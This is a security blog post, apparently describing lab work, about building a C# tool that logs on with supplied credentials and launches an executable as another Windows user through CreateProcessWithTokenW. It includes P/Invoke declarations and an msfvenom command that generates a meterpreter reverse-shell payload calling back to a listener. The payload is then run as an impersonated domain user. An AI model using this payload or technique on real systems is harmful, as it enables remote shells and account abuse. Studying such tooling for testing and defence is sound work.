Home About

CSharp User Impersonation

Friday, July 24, 2020

My next post was supposed to be expanding on the C# Malware, but I ended up getting sidetracked by two new projects:

This post is about the former. I got super confused whilst writing this, and in the end, I it was because I was using the wrong Win32 API Call. More on that later.

Features

So what do I want this to do? Its actually quite simple, I want to give credentials to a .exe, and have it run a process as that user. For testing, I went with a dirty msf executable. The workflow I was aiming for was:

.\CSharpRunAs.exe <Domain> <Username> <Password> <Path2Exe>

Pretty straightforward.

I'm not fussed about doing this with shellcode just yet, maybe in the future. But for now, I just wanted to get this working as an introduction to impersonation with the API.

Win32 API

I originally spent a lot of time looking at LogonUser and CreateProcessAsUser. This made logical sense, purely because of the function names.

To my dismay, I couldn't get this working. The process would open up with the impersonated user context, but I couldn't run commands like whoami as it would return 0xC0000142. Looking this up revealed that this error code was the STATUS_DLL_INIT_FAILED and the new process couldn't reach advapi32.dll. The explanation for this error code:

{DLL Initialization Failed} Initialization of the dynamic link library %hs failed. The process is terminating abnormally.

Looking through the docs, I then found CreateProcessWithTokenW. This function aligned more with what I wanted to achieve:

Creates a new process and its primary thread. The new process runs in the security context of the specified token. It can optionally load the user profile for the specified user.

The syntax:

BOOL CreateProcessWithTokenW(
  HANDLE                hToken,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

This worked really well. But there is one caveat, it requires SeImpersonatePrivilege. The documentation explains it well:

The process that calls CreateProcessWithTokenW must have the SE_IMPERSONATE_NAME privilege. If this function fails with ERROR_PRIVILEGE_NOT_HELD (1314), use the CreateProcessAsUser or CreateProcessWithLogonW function instead. Typically, the process that calls CreateProcessAsUser must have the SE_INCREASE_QUOTA_NAME privilege and may require the SE_ASSIGNPRIMARYTOKEN_NAME privilege if the token is not assignable. CreateProcessWithLogonW requires no special privileges, but the specified user account must be allowed to log on interactively. Generally, it is best to use CreateProcessWithLogonW to create a process with alternate credentials.

It also references another function I looked at: CreateProcessWithLogonW

This worked for local users, but had a bunch of issues for domain users. Presumably, when a user is created locally with net, the registry hive is also created on that machine. This is very unlikely to happen for a domain user being created (obviously). So, when this function is called, it tries to load a bunch of stuff and is just not usable. Bare in mind, that is speculation, I didnt look into this at all.

Back to CreateProcessWithTokenW. The first parameter, hToken, has a requirement:

A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights.

It needs to be a primary token. Whilst writing this, I realised I didn't need to use DuplicateTokenEx as I was already using LogonUser, as long as I didn't use LOGON32_LOGON_NETWORK which returns Impersonation Token. If I'm wrong here, let me know!

I realised this whilst doing some post-dev research:

To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token. This allows a server application that is impersonating a client to create a process that has the security context of the client.

I verified this, it does work with the duplicated token and the original LogonUser token. Either way, I've kept it in for the release of the project because I don't see any harm in it.

SeImpersonatePrivilege

With the 3 (should be 2) functions explained. I went down a bit of a rabbit hole of trying to determine the default status of SeImpersonatePrivilege. Microsoft explain it in their The "Impersonate a Client AfterAuthentication" User Right (SeImpersonatePrivilege) post:

The "Impersonate a client after authentication" user right (SeImpersonatePrivilege) is a Windows 2000 security setting that was first introduced in Windows 2000 SP4. By default, members of the device's local Administrators group and the device's local Service account are assigned the "Impersonate a client after authentication" user right.

So there's my answer, "members of the device's local Administrators group and the device's local Service account".

Implementation

There is a lot enums, structs and externs involved in making this work and I don't want to make this explanation 99% function declarations. With that said, heres a bunch of code:

[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW
(
    IntPtr hToken, 
    dwLogonFlags logonFlags, 
    String lpApplicationName, 
    String lpCommandLine, 
    dwCreationFlags creationFlags, 
    IntPtr lpEnvironment, 
    String lpCurrentDirectory, 
    [In] ref StartupInformation lpStartupInfo, 
    out ProcessInformation lpProcessInformation
);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx
(
    IntPtr hExistingToken,
    uint dwDesiredAccess,
    ref SECURITY_ATTRIBUTES lpTokenAttributes,
    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
    TOKEN_TYPE TokenType,
    ref IntPtr phNewToken
);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool LogonUser
(
    String pszUserName,
    String pszDomain,
    String pszPassword,
    dwLogonType logonType,
    dwLogonProvider logonProvider,
    ref IntPtr phToken
);

This is the basic structure of the functions, but there is one variable I want to draw attention to because they gave me a lot of crap.

Introducing logonType in LogonUser:

NativeMethods.dwLogonType.LOGON32_LOGON_NETWORK

The LOGON32_LOGON_NETWORK value is defined as:

This logon type is intended for high performance servers to authenticate plaintext passwords. The LogonUser function does not cache credentials for this logon type.

Originally, I was playing with LOGON32_LOGON_INTERACTIVE :

This logon type is intended for users who will be interactively using the computer, such as a user being logged on by a terminal server, remote shell, or similar process. This logon type has the additional expense of caching logon information for disconnected operations; therefore, it is inappropriate for some client/server applications, such as a mail server.

But this just kept returning the following error:

Logon failure: the user has not been granted the requested logon type at this computer (Error Code: 1385)

I wish I landed on LOGON32_LOGON_NETWORK in a cooler way, but it was honestly trial and error.

The final thing to mention here is that it is designed and tested using only a binary for execution. I dont think it will work by passing cmd /c or anything, but I haven't tested it, so who knows! This was done by setting the lpApplicationName to the path supplied via user arguments.

Other than that, this was quite straight forward. Three functions that linked together quite well.

Executing

The fun part.

I tested this on a Windows 10 machine using a local user, and a Windows 2012 R2 machine using a domain user.

The examples given here are for the Windows 2012 R2 machine. Here are the users on the domain:

PS C:\> net users /domain

User accounts for \\DC01

-------------------------------------------------------------------------------
Administrator            Guest                    impersonateme
katara                   krbtgt                   sokka
test
The command completed successfully.
PS C:\>

impersonateme is the user I will be going for. I'm lazy, so theres no -h. But if you just run it, it will give you the "help":

[*] Usage: .\CSharpRunAs.exe <Domain> <Username> <Password> <Path2Exe>

Now for the Path2Exe, I just used a meterpreter exe:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.11.119 LPORT=443 -f exe -o shell.exe

This is the bit which I spent WAY TOO LONG on. Make sure that the binary to run is reachable by the new user. It took me ages to realise that the binary to run was sat on the Administrator's desktop. So, I got loads of access denied messages :)

For this example, I just sat both binaries in C:\.

Running it:

.\CSharpRunAs.exe water.tribe impersonateme Password123! C:\shell.exe

And a session spawns as the new user:

It works!

Conclusion

This was a bit of a tangent from what I was working on this week, but I think its cool. CSharpRunAs uses the SeImpersonatePrivilege to grab a token with some creds, and run an executable as that user using the WIN32 API. The next thing on my list is injecting code into an existing process, I already have a bunch of code for this, but its all in different places.